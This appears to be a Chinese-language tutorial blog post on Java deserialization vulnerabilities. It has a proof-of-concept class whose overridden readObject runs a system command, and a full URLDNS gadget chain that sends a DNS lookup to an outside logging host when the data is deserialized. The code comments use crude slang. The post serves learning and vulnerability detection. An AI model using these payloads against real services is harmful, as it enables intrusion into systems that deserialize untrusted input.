[JAVA反序列化学习]从零到URLDNS链
"Talk is cheap. Show me the code." ---Linus Torvalds
JAVA反序列化
基础请见:JAVA序列化随笔
通过重写readObject方法实现RCE(最基本的原理)
漏洞点(假设传入的ser可控):
***impar.java***
package Serialize.org;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class impar { //sex party
public static void main(String[] args) throws Exception {
Fucker fucker = new Fucker( "John", "123 Main St",114514);
System.out.println(fucker);
Serialize(fucker);
Deserialize();
}
public static void Serialize(Object obj) throws Exception { //the serialize method
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void Deserialize() throws Exception { //the deserialize method
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
Object obj = inputStream.readObject();
inputStream.close();
System.out.println(obj);
}
}
待序列化exp:
***Fucker.java***
package Serialize.org;
import java.io.Serializable;
public class Fucker implements Serializable{
public String name;
public String address;
public transient int age; // transient瞬态修饰成员,不会被序列化
public void addressCheck() {
System.out.println("Address check : " + name + " -- " + address);
}
public Fucker(String name, String address, int age){
this.name = name;
this.address = address;
this.age = age;
}
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
// 执行默认的 readObject() 方法
Runtime.getRuntime().exec("calc");
/*
*通过重写readObject方法,当银趴反序列化时,
*可执行恶意代码
*/
}
@Override
public String toString() {
return "Fucker [name=" + name + ", address=" + address + ", age=" + age + "]";
}
}
URLDNS链(用于检测漏洞存在)
虽然挺通用的一个链,但还是利用有限,因为只有java8及以下允许通过反射设置java自带的类。
具体看码和码的注释:
***URLDNS_impar.java***
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS_impar {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://qvhg0b.dnslog.cn");
/*跟进URL的类,可以看到url的hashcode方法当hashcode=-1时,会调用
URL的handler的hashcode方法,这个方法会对URL的spec参数发出dns查询。
* */
Class c=url.getClass();
Field name_field=c.getDeclaredField("hashCode");
name_field.setAccessible(true);
name_field.setInt(url,114);
/*通过反射设置hashcode为非-1,若不设置,则hashmap.put(url,1)的时候会发起dns查询
*但是几把的,只有java8及以下允许通过反射设置java自带的类,
*不过好像现在市面上大多数java产品的版本确实还是java8
*/
hashmap.put(url,1);
/*跟进hashmap的put方法,可以发现会调用key的hashcode方法
**/
name_field.setInt(url,-1);
/*把hashcode的值调回来,这样在序列化的时候,就会认为hashmap为-1,进而触发dns解析*/
Serialize(hashmap);
Deserialize();
}
public static void Serialize(Object obj) throws Exception { //the serialize method
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser2.txt"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void Deserialize() throws Exception { //the deserialize method
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser2.txt"));
Object obj = inputStream.readObject();
inputStream.close();
System.out.println(obj);
}
}
//cd "e:\shentoutools\study\java\Serialize\" ; if ($?) { javac URLDNS_impar.java -encoding UTF-8 } ; if ($?) { java URLDNS_impar }
本文作者:sesmof
本文链接:https://www.cnblogs.com/sesmof/p/18639688
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步